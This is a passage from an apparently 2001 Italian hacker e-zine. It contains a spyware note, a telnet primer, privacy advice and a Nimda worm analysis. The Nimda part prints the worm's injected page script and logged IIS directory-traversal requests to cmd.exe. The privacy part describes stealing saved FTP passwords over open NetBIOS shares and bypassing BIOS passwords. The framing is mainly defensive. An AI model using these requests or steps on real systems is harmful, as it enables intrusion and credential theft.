scopre che 'advert.dll' ne è la | | causa. | | Ta dan, visto, anche i programmi spia crashano sotto winzoz ;) | | L'errore che si ottiene è: | | | | "general protection fault in mode advert.dll at xxxx:xxxxxxxx" | | | | NETSCAPE caused a general protection fault in module ADVERT.DLL at | | xxxx:xxxxxxxx. | | Registers: | | [...] | | Bytes at CS:EIP: | | [...] | | Stack dump: | | [...] | | | | Un altro bug è quello di Internet Explorer 5.X quando si ottengono dei page | | faults casuali | | che inchiodano, stranamente, il browser. A differenza del bug di Netscape, | | in questo caso | | l'unica soluzione possibile per ovviare al problema è riavviare il pc. | | | | L'errore che si ottiene è: | | | | IEXPLORE caused an invalid page fault in | | module KERNEL32.DLL at xxxx:xxxxxxxx | | | | L'ultimo bug che vi cito è quello del CuteFTP, noto programma di accesso a | | server di tipo | | ftp. Anche in questo caso, come detto sopra, questo programma installa | | automaticamente l' | | advert.dll' e se lo si cancella si ottiene un messaggio di 'installazione | | corrotta'. | | Il problema persiste finchè non si registra, o si crakka, il software. Dopo | | di che si può | | cancellare il "file spia" senza problemi. | | ----------------------------------------------------------------------------- | | | | | | | | cat Saluti.txt | | ----------------------------------------------------------------------------- | | | | Un GRAZIE va a Linus Torvalds: se non esistessi, bisognerebbe inventarti. | | Un saluto va a tutta la redazione di OndaQuadra, specialmente a Tritemius x | | il supporto; | | tutto il New-[world]-Bie Team; la BlackSun (Mikkkeee sei grande); tutta la | | Tank Commandos | | Crew, specialmente SpiDEr2K, SPYR0, Screener_it, kEwL` e BiGAlex; agli amici | | di #crack-it | | e a tutti gli assidui frequentatori di #chihackerare e di #hackmaniaci. | | ----------------------------------------------------------------------------- | | --------------- | | | | | | -EoF- | | | | | | Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via | | e-mail o su | | irc. | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | TELNET: 0VVER0 BASTA !!!!! [Screener_it] 0x14/0x23 | +-------------------------------------------------------------------------------+ | | | | | Autore: Screener_it | | email: screener_it@freemail.it | | URL: http://go.to/tankcommandos - www.tankcommandos.org | | DATA: 04/06/01 | | | | +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ | | | | Questo sarà l'ennesimo articolo del caxxo che scrivo, ma lo scrivo mentre | | ricevo l'ennesima mail con l'ennesima richiesta "Mi spieghi come funziona | | telnet ? Tutte le funzioni, tutti i comandi, ecc.." | | | | Mi scuso con tutti quelli che leggerano questo articolo, purtroppo abbiamo | | sbagliato e siamo partiti da un gradino sopra di quello che era lo zero | | assoluto di conoscenze e adesso dobbiamo recuperare. | | | | Se siete già hacker/newbie/wannabe/lamer passate oltre e non leggete, questo | | txt è solo per il principiante + principiante. | | | | Nel presente txt verrà fatto riferimento ad altri txt che potrete trovare | | nella sezione Testi Nostri del sito del Tank Commandos se non è indicata | | un'altra fonte. | | | | +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ | | | | D = domanda | | R = risposta | | | | =/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\ | | =\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/ | | | | D.- Cos'è Telnet ? | | | | R.-Telnet è un programma tramite il quale potrete collegarvi a qualsiasi | | demone [se non sapete cos'è un demone andate a leggere "Le porte.. Cosa sono | | ?" ]. Quindi potete collegarvi a ftpd, httpd, ircd, telnetd [la d alla fine | | stà per demone, che spero saprai cosa sono !!], pop3, smpt, finger, | | [l'elenco potrebbe andare avanti per pagine !!!!!!]. | | | | Praticamente con telnet potete collegarvi a qualsiasi programma che si | | collega a internet. Ogni programma (demone) però ha i suoi comandi | | specifici, che posso essere diversi o uguali a quelli degli altri e possono | | avere la stessa funzione o meno. | | Ad esempio cc per una shell indica il compilatore di C, per l'smtp indica | | l'utente di destinazione per esempio [non lo so, l'ho sparato lì..]. | | | | Quindi ogni demone ha i suoi comandi e le sue sintassi. | | | | =/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\ | | | | D.-Come faccio a collegarmi a qualcosa con telnet ? | | | | R.-Semplice !! | | Windows: | | Start / Esegui / scrivete "Telnet" e cliccate Ok. Selezionate Connetti. Ora | | Nome host: indirizzo dell'host a cui collegarsi | | Porta: numero della porta a cui collegarsi | | tipo di terminale: lasciate stare per adesso ! | | | | Linux [da console]: | | telnet nomehost porta | | | | =\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/ | | | | D.-Dammi qualcosa da scrivere nel nome host ! | | | | R.-Nel nome host potete metterci qualsiasi cosa vi pare, telnettarvi a un | | server tramite telnet NON E' REATO, è reato solo se provate a fare giochetti | | deficienti e poi andate dagli amichetti a vantarvene !! | | Potete scriverci ad esempio l'indirizzo host del vostro smpt [es. | | smtp3.libero.it, mail.clubnet.it, mail.katamail.com, ecc..] | | (in questo caso dovete scrivere nella porta il numero 25). | | | | =/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\ | | | | D.-E adesso ?? Dimmi tutti i comandi !! | | | | R.-Ma allora sei scemo !!! Ogni singolo demone hai suoi comandi, come faccio | | a spiegarteli tutti con le relative sintassi ??? | | Calcolando che poi qualsiasi programmatore può crearsi un suo demone | | particolare e che ogni versione avrà qualche nuovo comando la serie diventa | | infinita !! | | | | Adesso ti faccio un paio di esempio per farvi capire: | | | | FTP: | | vi collegate a un qualsiasi server ftp (es. ftp.xoom.it, ftp.tripod.it, | | ecc..) mettendo come nomehost uno dei due indirizzi indicati prima e come | | porta il numero 21 (che è la porta del demone ftp) e vi collegate (con Win | | cliccate "Connetti" con Linux basta che date l'invio). | | Appena vi sarete collegati avrete un breve msg dove indicherà il tipo di | | demone. Ora dovete inserire nome utente e password. Come ? Semplice! | | user NOMEUTENTE | | e poi cliccate invio. | | password DIGITATELAPASSWORD | | Ora avrete un msg di benvenuto che vi dà info sul server, sulle sue regole, | | ecc.. Digitando help avrete i comandi supportati dal server. | | | | TELNET: | | vi collegate a un qualsiasi server che dà accesso telnet (es. nether.net, | | freeshell.org) e come porta mettete 23 o scrivere telnet. Qua vi sarà subito | | chiesto utente & password. Nei due siti che vi ho dato protete farvi shell | | gratuite [vedi txt "Procurarsi una shell" per maggiori info] e otterrete id | | & pass. Se li avete scrivete lì. Altrimenti digitate newuser e vi sarà | | proposto un percorso d'iscrizione. | | | | I comandi di telnet sono uguali ai comandi di Unix anche se usate Windows. | | Scrivete help e avrete decine di comandi possibili ! | | | | SMTP: (che è quello per spedire le email) | | Vi collegate a un qualsiasi server SMTP (mail.clubnet.it, smtp3.libero.it, | | ecc..) e come porta settate 25. | | Vi troverete davanti a un msg di benvenuto che contiene versione demone, | | data e ora, ecc.. | | Voi rispondete con | | HELO nomeprovide.it | | il server vi risponderà e voi scriverete | | mail from:<ecc... | | [ulteriori info su SMTP le trovate "Come spedire Fake Mail"] | | | | POP3: (che è quello per ricevere/controllare le email) | | Vi collegate a un qualsiasi server POP3 (es. freemail.it, | | mail.netvision.net.il, ecc..) e come porta settate 110. | | Vi troverete davanti un msg con versione del demone, data, ora, ecc.. | | Per entrare qui avete bisogno di id & pass, che sono quelle che servono per | | entrare nella mailbox. | | user NOMEUTENTE | | e poi | | pass PASSWORD | | a questo punto se id & pass sono corretti vi apparirà un msg che conterrà | | anche "Mailbox open, x messages" dove al posto di X troverete il numero dei | | messaggi. | | [ulteriori info su POP3 leggerete "Usare i POP3 a mano"]. | | | | | | Poi ogni demone ha i suoi particolari comandi, digitate HELP per avere | | l'elenco dei comandi. Semplice, no ? | | | | =\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/=\/ | | | | D.-Ma io per andare su FTP uso Ws_ftp che è più comodo, per la posta uso | | Eudora, mica telnet, ecc.. | | | | R.-Giusto. I programmi che usate sono stati studiati però solo per essere | | usati con un dato demone. Ad esempio con ws_Ftp non potrete leggere le mail, | | ecc.. | | Telnet è un collettino svizzero multiuso, certo che il suo uso è magari + | | complicato rispetto ad altri programmi. Però ha il vantaggio di essere | | universale ed utile in caso di mancanza dei suddetti programmi [es. vuoi | | controllare la tua posta a scuola ? Xò è solo Pop3 e non c'è Outlook.. Usi | | Telnet !]. | | | | In più telnet è utile nell'hacking, quando bisogna dare particolari comandi | | ed è utilissimo nell'uso delle shell su un sistema Unix quando siete su un | | sistema Windows. | | | | =/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\=/\ | | | | Bene, mi pare che sia tutto. | | OVVIAMENTE l'argomento non finisce qui, anzi !! Come vi ho detto telnet è un | | programma universale con miliardi di comandi possibili. E' solo un mio | | tentativo di spiegare il funzionamento di telnet ai principianti e salvarmi | | finalmente da 300.000.000.000 mail che ricevo "Come si usa telnet ?". | | | | Ricordate cmq che i comandi delle shell sono li stessi dei sistemi *nix like | | quindi se studiate i comandi di Linux, Unix, ecc.. sarete + facilitati nelle | | shell. Le shell sono poi molto utili per imparare a maneggiare questi | | sistemi operativi senza necessariamente installarli. | | | | Screener_it | | screener_it@freemail.it | | http://go.to/tankcommandos - www.tankcommandos.org | | | | "Gli inquisitori hanno tentato di spezzare i nostri corpi e di catturare le | | nostre anime, ci hanno chiesto di rinnegare i nostri padri e di maledire il | | nostro sangue, hanno distrutto le nostre case e bruciato le nostre donne, | | hanno tentato di uccidere la speranza e ci hanno detto che tu eri morto. Che | | mai saresti ritornato, che il freddo e la notte ti avevano seppellito ma noi | | sappiamo che tu sei vivo e che tornerai trionfante, noi sappiamo che tu ardi | | nel più profondo dei nostri cuori e che brucerai nel più profondo dei nostri | | figli e dei figli dei nostri figli eternamente. | | Perchè tu sei la forza che guida le nostre braccia e porta la nostra spada, | | tu sei il messaggio di libertà e manifestazione di ogni vita. | | E per questo, per la fiamma e la roccia, per la fonte e l'albero che ti | | salutiamo. | | Tu, verso cui si alza il volo delle oche selvatiche, tu odiato dai preti e | | amato dai guerrieri. Tu nostro fratello, nel riposo e nel combattimento, tu | | l'invincibile, tu il solo !" | | | | G.B. - Iterum Rudit Leo | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | DiFENDiAM0 LA N0STRA PRiVACY [tdi110cv] 0x15/0x23 | +-------------------------------------------------------------------------------+ | (ovvero difendiamo i nostri dati) | +-------------------------------------------------------------------------------+ | | | E' un mondo difficile ... che vita intensa ... | | E allora proprio per questo ci siamo noi a rilassarvi no ?! :PPP | | In questo periodo , con tutti i disastri successi per il mondo e non solo , | | siamo bersagliati , mitragliati , insomma nessuno vuol farsi i cazzi suoi. | | Partendo dai lama i quali giocando al piccolo hacker sono sempre alla | | ricerca di dati e quant'altro per i loro luridi scopi , passando per | | numerosi | | siti i quali con i loro <biscottini> arrivano a tracciare usi e abusi del | | nostro picci , arrivando infine a organizzazioni purtroppo legali i quali | | con i loro programmini del cazzo cosiddetti Spyware riescono a monitorare | | cosa scarichiamo , cosa eseguiamo , e che siti visitiamo. | | Se ci pensate bene la cosa e' ben preoccupante. | | Uno perchè pochissima gente e' al corrente di come stanno effettivamente le | | cose da quando accendiamo il modem a quando lo spegniamo , due perchè | | nessuno tende a tutelarci o quantomeno a metterci in guardia. | | P.S. Evviva il censimento 2001 (della serie chi l'ha compilato ?! ehehehe) | | Quindi analizzeremo di seguito tutti i modi possibili e immaginabili , poi | | se ne conoscete altri fateme sapere , per evitare che in tutti i casi | | niente e nessuno possa approfittarsi di noi. | | 'TDI io ho il firewall ... e invece io ho eliminato il protocollo Netbeui' | | Ba e a me ca cazzo me frega ? Credete sia sufficiente ? | | Vi dico subito che non e' affatto sufficiente. | | Le cose infatti sono ben piu' complesse di come i comuni media cercano di | | mettervi nella capoccia dico pero' i comuni media non quelli onesti come | | noi :PPPPP ; e pensare che vogliono arrestarci ... | | Cmq sia cominciamo a dare una occhiata a tutti gli accorgimenti diciamo | | standard per evitare di farci trovare impreparati. | | Partiamo dalle cose basilari. | | Come risaputo ogni sistema operativo non e' sicuro... e fin qui non ci | | piove. | | Non essendo sicuro e' possibile che qualche lameraccio bastardo possa | | rubarci dati e utilizzarli per i suoi scopi meschini. | | Detto questo cominciamo a stilare una serie di norme di sicurezza dalle | | quali | | un utente anche solo se lievemente paranoico dovrebbe tenere sempre ben | | presenti. | | Innanzi tutto la cosa principale da fare e' verificare quali siano le | | problematiche che affliggono il nostro S.O. (S.O. = sistema operativo). | | Vi assicuro che bug e trojan non verranno a mancare. | | Per far questo nessuno vi chiede di essere esperti , poichè in giro per la | | rete vi sono siti che lo fanno per voi. Accedendovi infatti non faranno | | altro che la verifica da remoto del vostro sistema operativo oppure vi | | troverete al suo interno una lista dei bug piu' conosciuti riguardanti il | | vostro S.O. . | | Vi cito il mitico http://www.guninski.com , http://scan.sygatetech.com , | | oppure www.privacy.net dove vi troverete notevoli software e informazioni. | | Tenete presente che già il fatto di possedere software male utilizzato o | | addirittura inutilizzato , tanto per occupare spazio su disco , non e' una | | buona abitudine. | | Verificati poi i possibili problemi che affliggono il nostro bene amato S.O. | | la prima cosa da fare e' correre ai ripari presso i principali siti di | | sicurezza oppure presso quelli ufficiali che distribuiscono il nostro | | software. | | Comunque tenete presente che per ogni S.O. disponibile sul mercato , sia | | open | | che non , sono reperibili sulla rete numerosi siti che distribuiscono patch | | per ogni bug trovato. Spesso a distribuire queste patch sono le stesse case | | ufficiali , altre volte le case se ne sbattono le scatole e noi per cercare | | queste patch dobbiamo rivolgersi altrove. | | Ma non e' ancora tutto per quanto riguarda i bug del software infatti | | facendo | | cosi' non avete fatto altro che scaricare le patch per i problemi piu' | | critici. E dove mettiamo i problemi derivanti dall'uso di programmi di | | qualsiasi altra natura come Browser , gestori di posta , antivirus , client | | di ogni genere , demoni , ecc. ? | | E certo ... anche questi dovranno essere verificati e aggiornati. | | Per fare anche questa operazione potrete avvalervi dello strepitoso nonché | | immancabile catchup reperibile sul sito ufficiale. | | Esso provvederà a darvi ogni minima informazione in merito a tutti i bug | | che affliggono la piu' varia tipologia di software in circolazione | | analizzando , | | chiaramente , solo quelli che avrete installato sulla vostra macchina. | | Non meno importante vi suggerisce anche dove andare a reperire i fix. | | Bene bene ... stiamo camminando la strada della sicurezza anche se la stessa | | e' | | ancora piuttosto lunga e ricca di ostacoli. | | A questo punto e' d'obbligo puntualizzare tutti gli eventuali danni | | possibili | | e derivanti da Active-X , java script , che possono essere usati da utenti | | 'malicius'. | | E i Cookies questi famosi biscottini , all'apparenza innoqui , ma che spesso | | vengono utilizzati per schematizzare il profilo delle vostre abitudini e | | tracciare i | | vostri movimenti. | | State in campana quindi con le configurazioni di default dei vari browser in | | | | circolazione. Spesso infatti essi non si curano di questi possibili problemi | | e conseguentemente dovrete essere voi a settarli come meglio credete. | | Insisto pero' sul fatto che i settaggi di default sono un grosso pericolo | | per | | la vostra privacy. | | Ogni browser che si rispetti ha comunque la possibilita' di configurare | | a piacimento tutti i parametri necessari per poter stare tranquilli almeno | | da questo punto di vista. (sempre che voi abbiate patchato eventuali falle) | | Altra cosa piuttosto preoccupante sono gli spyware che pero' il mio collega | | Mighty | | ha già provveduto a trattare in un articolo incluso in questo numero , | | quindi | | leggetevi bene cio' che lui ha scritto perchè merita proprio e onestamente | | io non | | sarei riuscito a scrivere di meglio. | | Passiamo quindi a parlare di un argomento che al giorno d'oggi sembra essere | | di vitale importanza. | | Si cari ... sto parlando proprio dei virus , degli worms , e dei trojan. | | Purtroppo pero' per parlarne approfonditamente non basterebbe una | | enciclopedia , | | quindi per evitare che jey mi rompa il culo per avergli spedito un documento | | | | di enormi dimensioni cerchero' di essere piu' breve possibile. | | Trojan , virus , worms , che sono ? | | Be riassumiamo dicendo che non sono altro che programmi scritti per arrecare | | | | danno a qualsiasi sistema informatico , sia esso costituito da una | | workstation | | semplice oppure costituito da piu' computer in rete. | | Personalmente non faccio distinzione tra le tre tipologie di codice , | | secondo me | | infatti sono comunque tutti dei virus e basta !!! | | Onestamente non penso sia il caso di andare oltre , altrimenti dovrei | | cominciare | | a entrare nel merito di ognuno e cominciare a spiegarne il singolo | | funzionamento. | | Vabbè magari sarebbe il caso di buttare giù una rubrica dedicata no ? | | Per tagliar corto vi suggerisco di scaricare un buon antivirus e tenerlo | | aggiornato , | | di non eseguire nulla di quello che vi arriva via e-mail , neanche se chi ve | | lo spedisce | | e' un vostro caro amico poiché anche lui potrebbe non sapere di avere il | | picci infetto , | | ne tantomeno nulla di tutto quello che scaricate dalla rete se non | | preventivamente | | controllato con un opportuno antivirus. | | Suggerisco Norton Antivirus , F-Prot , AVP , insomma questi son quelli che | | io | | utilizzo ma in circolazione ce ne sono una marea. | | Ovviamente sottolineo nuovamente l'importanza di tenerlo aggiornato. | | N.B. Per tutti quelli che usano linux e che credono di essere tranquilli. | | Bene per voi le cose sono un pochino migliori , infatti i virus per linux | | sono | | in netta minoranza , ma esistono ... Backdoor , worm , e caxxate varie anche | | | | per linux quindi all'occhio al codice che scaricate e che eseguite. | | Per dirvene una circa un mesetto fa usci' un bell'exploit per l'ultima | | release | | di warftpd. Bene questo conteneva un bel comando di seccamento dei dati del | | vostro | | povero pinguino(sapete quel bel rm -rf ). Magari un antivirus non avrebbe | | fatto | | nulla ma era solo per farvi capire che le lamerate ci sono per ogni S.O. | | Per non parlare poi di una marea di rpm backdorati. | | Poi ... che c'è da dire ... ehm ... an si si si !!! | | Questo famoso netbios ... bene bene questo e' il metodo piu' lama del mondo | | ma fornisce notevoli risultati a chi vuol arrecarvi danno. | | La possibilita' infatti di avere per default attiva la condivisione dei file | | | | e' altissima. | | Grazie a questi sudici settaggi chiunque puo' avere accesso al vostro disco | | e di conseguenza alle risorse condivise. | | Nella maggior parte dei casi su internet si trovano una marea di utenti | | che a loro insaputa hanno tutto il disco condiviso. | | Che cosa comporta questo ? | | Molto semplice , questo comporta semplicemente che qualsiasi documento | | personale , | | e non , puo' esservi sottratto. | | Se il documento e' una foto di Pamela Anderson onestamente non ci frega na | | mazza no ?! | | Ma se il documento sottrattovi contiene i vostri dati personali oppure dati | | relativi alla vostra flat internet ? | | Insomma mi pare di essere stato chiaro no ? | | Come no ?! | | Caspita se vi fottono la mail di conferma del vostro abbonamento ad internet | | , | | magari ADSL , lo fanno cosi' per avere un po' di file in piu' o lo fanno per | | poter utilizzarla alla facciazza vostra ? | | Ecco ... chiaro no ?! | | Vi assicuro che la gente che non pensa ad evenienze simili e' tantissima , | | molta | | di piu' di quello che voi potete pensare. | | Alla fine evitate di piazzare sulla vostra 'macchina' qualsiasi documento | | inerente | | alla vostra privacy. | | Approposito perchè non accenniamo alle famose BIOS password ? | | Ba forse perchè tutto il mondo sa che in 10 secondi questa protezione puo' | | essere | | bypassata. | | 'Hei TDI io non lo saccio me spieghi ?' | | Vabbè allora per sto mentecatto diro' semplicemente che resettando il bios | | della | | mainboard oppure estraendone la relativa batteria la bios password non sara' | | piu' | | un problema , e non sto qua a specificarvi che spesso le mainboard hanno la | | loro | | password standard. (vabbè oramai l'ho detto) | | Quindi evitate di fare affidamento su strumenti simili. | | Infine state attenti a tutto cio' che fate sul web , history , file | | temporanei e | | roba simile dovrebbe essere eliminata , soprattutto nel caso foste assidui | | clienti di negozi on-line , oppure se vi capita spesso di leggere e-mail via | | web. | | Inoltre evitate di tenere memorizzate le vostre password qualsiasi sia il | | vostro client in uso. | | Gli asterischi sono infatti facilmente convertibili nella relativa password | | mediante | | svariati tool in rete. | | Se volete provarci un pochino scaricate da neworder.box.sk lo 'SNITCH' e | | vedrete | | l'estrema facilita d'uso nonché il sorprendente risultato. | | Per dirvene una spesso mi capita di vedere utenti che utilizzano ws_ftp come | | | | client ftp. | | Ipotizziamo che noi mediante netbios riusciamo a prelevare il buon | | ws_ftp.ini. | | Voi direte che me ne faccio di quel .ini ? | | Be semplice essendo il file di inizializzazione del client in oggetto lo | | potremmo | | dare in pasto allo stesso client , preventivamente installato sul nostro | | picci , attivare | | 'snitch' passarci sopra con il mouse e avremo in chiaro la password usata | | dall'ignaro utente per connettersi ai suoi ftp preferiti. | | Che dire quindi ? Be c'è da dire che a quel punto solo la nostra fantasia | | potrebbe mettere dei limiti alle nostre cattive azioni. | | Voi pero' non volete che succeda no ? | | E allora evitate di utilizzare password memorizzate. | | Detto questo direi di aver detto molto ma non tutto certamente , solo che | | anche per questo articoletto mi son rotto le scatole di scrivere e quindi | | ora chiudo e vi auguro buon smanettamento. | | | | Sincerely TDI110CV _________ | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | NiMDA, 0VVER0 QUEST0 F0TTUT0 VERME [tdi110cv] 0x16/0x23 | +-------------------------------------------------------------------------------+ | Perchè un articolo su Nimda ? | | Ba semplicemente perchè anche io come miliardi di utenti ne ho fatto le | | spese. | | No no certo , il mio pinguino non ne ha sofferto per nulla , anche perchè | | lui ha deciso di abbandonarmi ben prima quando il disco su cui risiedeva ha | | gettato la spugna. | | Eh gia , bel funerale quel giorno quando l'ho gettato nel cassonetto e gli | | uomini dei rifiuti l'hanno macellato nel tritatutto. Ben ti sta brutto porco | | di un western digital , questa e' la fine che meriti per avermi abbandonato | | in questo orrendo modo. | | Cmq dicevo di averne fatto le spese pure io. | | Diciamo che il wincozz non usandolo spessissimo non era mai stato patchato | | come si deve e quindi ecco il risultato. | | Ma lasciamo perdere questi lamenti e facciamo la conoscenza di questo | | stronzo nonchè affascinante verme. | | Iniziamo col dire che i metodi di infezione sono molteplici. | | - Client to client mediante E-MAIL infette. | | - Client to client mediante condivisioni aperte (ricordate netbios ?) | | - Da webserver compromesso a Client via browsing (semplice navigazione) | | - Da client a webserver mediante scansione degli ultimi buchi di iis 4/5. | | - E infine da Client a webserver mediante backdoor lasciati dal suo p | | predecessore Code Red II e del suo collega SADMIND/IIS dei PoizonBox. | | Insomma di metodi per restare fottuti ne ha fin troppi. | | Ma entriamo nel merito. | | Innanzitutto diciamo che il nostro vermetto e' stato classificato dalle | | note case antivirus solamente come un virus di media pericolosita'. | | Attualmente grossi danni sembra non se ne siano registrati ma proprio per | | il suo modo di propagazione , che in seguito vedremo , i sistemi infetti | | protrebbero risentire di DOS dovuti ad una improvvisa diminuzione della | | banda utile occupata da tutti i processi di propagazione del vermicello. | | Veniamo a noi ... | | I sistemi operativi soggetti a questo worm sono tutti quelli di casa | | Microshaft , tranne il nuovo XP che non viene menzionato perchè rilasciato | | successivamente all'uscita di Nimda. | | Onestamente pero' sarei curioso di farci una provetta. | | La propagazione via E-MAIL avviene come di consueto , sfruttando questa | | volta | | pero' anche il bug del MIME. | | Consideriamo il messaggio definito in due sezioni perchè mentre nella prima | | il messaggio e' definito come tipo MIME "text/html" ma che non contiene | | nessun testo , la seconda arriva sempre come tipo MIME "audio/x-wav" che | | contiene un allegato chiamato "readme.exe". | | Il bug del MIME , di cui parlavo sopra , permette l'esecuzione automatica | | di questi allegati senza che l'utente possa far nulla per evitarlo. | | Per maggiori info sarebbe opportuno da un occhio su www.securityfocus.com | | per chiare meglio il funzionamento di questo 'exploit'. | | Il client infetto a questo punto provvedera' a replicarsi via E-MAIL | | verso tutti gli indirizzi presenti nei contatti. | | Bene raggiunto il primo obbiettivo di infezione , la fase successiva sara' | | quella di verificare sul sistema infettato la presenza di vecchie backdoor | | lasciate , come dicevo sopra , da Code red II o Sadmind/iis worm. | | Trovata la vittima il caro Nimda non fara altro che una copia del proprio | | codice dannoso sul sistema vulnerabile usando come nome "REAMDE.EML". | | E come se non bastasse provvedere ad accodare ad ogni file ASP o HTML copia | | di un bel javascript che riporto qui sotto : | | | | <scr*pt language="JavaScript">window.open("readme.eml", null, | | "resizable=no,top=6000,left=6000")</script> | | | | Si assicurera' cosi' la possibilita' di replicarsi ai client che | | effettueranno | | attivita' di browsing sulla macchina infetta. | | Sottolineo che a questo punto il worm in oggetto proseguira' con riprodursi | | sottoforma di E-MAIL (*.EML) su tutte le directory scrivibili. | | Anche , e non poco preoccupante , su qualsiasi supporto condiviso sulla | | macchina infetta. | | | | N.B. State quindi all'occhio quando lamerizzate mediante il vecchio Netbios | | perchè potreste montare un disco infetto e trovarvi nelle peste.(vero TDI | | ?!) | | | | Parliamo ora della tecnica di scansione messa in azione dal verme. | | Vi specifico di sotto i log lasciati su un web server. | | | | GET /scripts/root.exe?/c+dir | | GET /MSADC/root.exe?/c+dir | | GET /c/winnt/system32/cmd.exe?/c+dir | | GET /d/winnt/system32/cmd.exe?/c+dir | | GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir | | GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir | | GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir | | GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt | | /system32/cmd.exe?/c+dir | | GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir | | GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir | | | | Dateci una occhiata. Notate nulla di strano ? | | Be di strano c'e' che le prime 4 righe di log non sono altro che il | | tentativo di connessione mediante backdoor lasciate dai predecessori di cui | | accennavo prima. | | Le altre righe invece non sono altro che il tentativo di sfruttare il | | vecchio , | | ma evidentemente ancora tanto funzionante , problema dell'unicode directory | | trasversal bug. | | L'impatto di tutto questo e' sufficientemente disastroso. | | Qualsiasi mente un pochino perversa puo' prendere il controllo del sistema | | infetto. | | Non ultimo e' possibile che la macchina venga resa inutilizzabile a causa | | dell'alta banda utilizzata da Nimda per effettuare la sua attivita' di | | scanning. | | La soluzione del problema e' abbastanza semplice. | | Prima cosa e' verificare la presenza di 'root.exe' , che evidenzierebbe il | | passaggio di Code Red II o di Sadmin/IIS e di ADMIN.DLL o *.EML. | | Eliminare dalla connessione di rete la macchina infetta e verifcarla con un | | antivirus aggiornato all'ultimo mese. | | Eliminata ogni traccia del codice dannoso e cominciare a fare una bella | | ricerca di tutto il software buggato. | | Ogni dettaglio in merito a tutti i buchi del software sfruttato e' | | reperibile | | su : http://www.microsoft.com/technet/security/bulletin/MS01-044.asp | | Applicate tutte le possibili patch relative in particola modo qualla che | | riguarda l' "Automatic Execution of Embedded MIME Types" ed eccovi il link : | | http://www.microsoft.com/technet/security/bulletin/MS01-020.asp | | Mantenere aggiornato il vostro amato antivirus , non aprire allegati | | provenienti da qualsiasi E-MAIL se non controllate (tano so gia che ai | | dipendenti di qualsiasi azienda non gli frega un caxxo perchè si divertono | | a giocare a guardia e ladri) , e disabilitare i java script per evitare | | infezioni mediante attivita' di browsing (che i soliti dipendenti amano fare | | piuttosto che lavorare). | | A questo punto direi che e' tutto , si potrebbe parlare di come Nimda abbia | | avuto impatto anche sui Router Cisco , ma onestamente non ne ho voglia. | | Magari al prossimo numero eh ?! | | Vi saluto , vi bacio , e me raccomando non fate troppi disastri. | | ciao cari. | | | | Sincerely TDI110CV __________ | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #04 - 19/11/2001 | | MY LiTTLE MANiFEST0 [case] 0x17/0x23 | +-------------------------------------------------------------------------------+ | | | My little ManifestO | | | | ( con la speranza che non sia solo il mio =) | | | | Fuori il silenzio e il buio, rotto dal neon delle insegne e da qualche | | sparuta | | stella. Dentro, dentro di me il rumore dei pensieri le mie dita scorrono | | veloci sulla tastiera simile al colore della notte, le luci del monitor si | | riflettono sul mio viso e sui miei occhi, che brillano della luce del | | piacere e | | della sfida. Scorrono linee e linee di codice che si riproietta nel mio | | cervello, si dispiega e si ricrea tridimensionalmente nella mia | | immaginazione | | La musica, mia compagna in queste notti sempre più lunghe continua ad | | assistermi fedele e mi imprime il ritmo, la mie mani si muovono seguendola e | | così anche il mio cervello che vorrebbe poter capire tutto in un baleno. Ma | | il | | mio essere umano lo impedisce e così ancora una volta, la notte seguente | | sono | | qui che studio e che mi impegno per capire quel particolare che la sera | | prima | | non riuscivo a focalizzare. | | | | Notte dopo notte questa scena si ripete, e i miei occhi diventano sempre più | | luminosi è la gioia che li accende, la gioia di fare qualcosa che mi piace, | | qualcosa che faccio solo per me e per nessun altro. | | | | Imparo, ho sete di conoscenza, sono un contenitore vuoto che non aspetta | | altro | | che riempirsi, per poi svuotarsi e poi riempirsi ancora, un contenitore | | libero… | | | | Conduco una lotta, insieme ad altri, una lotta per la libertà, una lotta in | | cui | | non vi è partito, non c’è un colore preciso, ma un’unica consapevolezza; | | l’informazione deve essere libera e noi come lei. | | | | Liberi di studiare e apprendere quello che ci piace. | | | | Siamo tanti e siamo felici nel condividere con gli altri quelli che sono le | | nostre conoscenze perché sappiamo che la conoscenza è un bene | | | | La conoscenza è l’unica cosa che ti mantiene libero nello spirito. | | | | La speranza è quella che un giorno tutti capiscano cosa vuol dire essere | | liberi | | nella mente, in una società in cui la libertà è limitata da impegni di | | studio e | | di lavoro. L’importante è essere liberi dentro per poterlo essere in tutto | | quello che si fa. | | | | Questa è la 